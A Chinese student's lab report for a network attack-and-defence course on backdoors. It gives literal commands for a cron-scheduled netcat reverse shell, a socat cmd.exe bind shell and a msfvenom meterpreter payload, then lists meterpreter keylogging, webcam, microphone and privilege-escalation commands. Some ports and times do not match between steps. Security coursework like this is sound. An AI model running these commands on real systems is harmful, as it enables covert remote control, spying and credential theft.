20155306 白皎 《网络攻防》 Exp2 后门原理与实践
一、实践基础
后门程序又称特洛伊木马,其用途在于潜伏在电脑中,从事搜集信息或便于黑客进入的动作。后程序和电脑病毒最大的差别,在于后门程序不一定有自我复制的动作,也就是后门程序不一定会“感染”其他电脑。其实我们可以用很简单的一句话来概括它:后门就是留在计算机系统中,供某位特殊使用都通过某种特殊方式控制计算机系统的途径
二、实践任务
(1)使用netcat获取主机操作Shell,cron启动
1.在Kali环境下,使用man crontab指令查看crontab命令的帮助文档。
2.用crontab -e指令编辑一条定时任务。
3.在最后一行添加37 * * * * /bin/netcat 192.168.56.1 5306 -e /bin/sh,意思是在每个小时的第45分钟反向连接Windows主机的5306端口。
4.当时间到了11点45时,此时已经获得了Kali的shell,可以输入指令。
(2)使用socat获取主机操作Shell, 任务计划启动
socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
1.在Windows系统下,打开控制面板->管理工具->任务计划程序,创建任务,填写任务名称后,新建一个触发器。
2.在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5215 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5306,同时把cmd.exe的stderr重定向到stdout上。
3.创建完成之后点击右键,使任务开始运行。
4.此时,在Kali环境下输入指令socat - tcp:192.168.56.1:5306,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5306端口,此时可以发现已经成功获得了一个cmd shell。
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
1.输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.67.128 LPORT=5306 -f exe > 5306exp2.exe 生成后门程序
2.通过nc指令将生成的后门程序传送到Windows主机上。
3.在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口。
4.进行监听。
5.打开Windows上的后门程序。
6.Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell。
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
1.使用record_mic指令可以截获一段音频
2.使用webcam_snap指令可以使用摄像头进行拍照
3.使用webcam stream指令可以使用摄像头进行录像
4.使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录
5.使用getuid指令查看当前用户,使用getsystem指令进行提权。由于我的主机是windows8,因此提权失败。
6.使用screenshot指令可以进行截屏
三、基础问题
(1)例举你能想到的一个后门进入到你系统中的可能方式?
我觉得可以首先可以通过网页来隐藏木马程序、下载软件时的捆绑恶意软件等等。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
- 自启动
- 设置任务计划启动
- 采用加注册表启动项
- 引诱用户去主动点击运行某恶意文件
(3)Meterpreter有哪些给你映像深刻的功能?
- 比如击键功能,可以获取对方的聊天记录以及输入用户名、密码等关键信息
- 再比如获取摄像头,可以直接看到对方在做什么事情,我想到了上届信安大赛微视演绎中学长学姐的拍的黑客视频,里面就有这样的情节,没想到自己也可以做到哈哈哈!
(4)如何发现自己有系统有没有被安装后门?
- 使用专杀木马的软件
- 关闭本机不用的端口或只允许指定的端口访问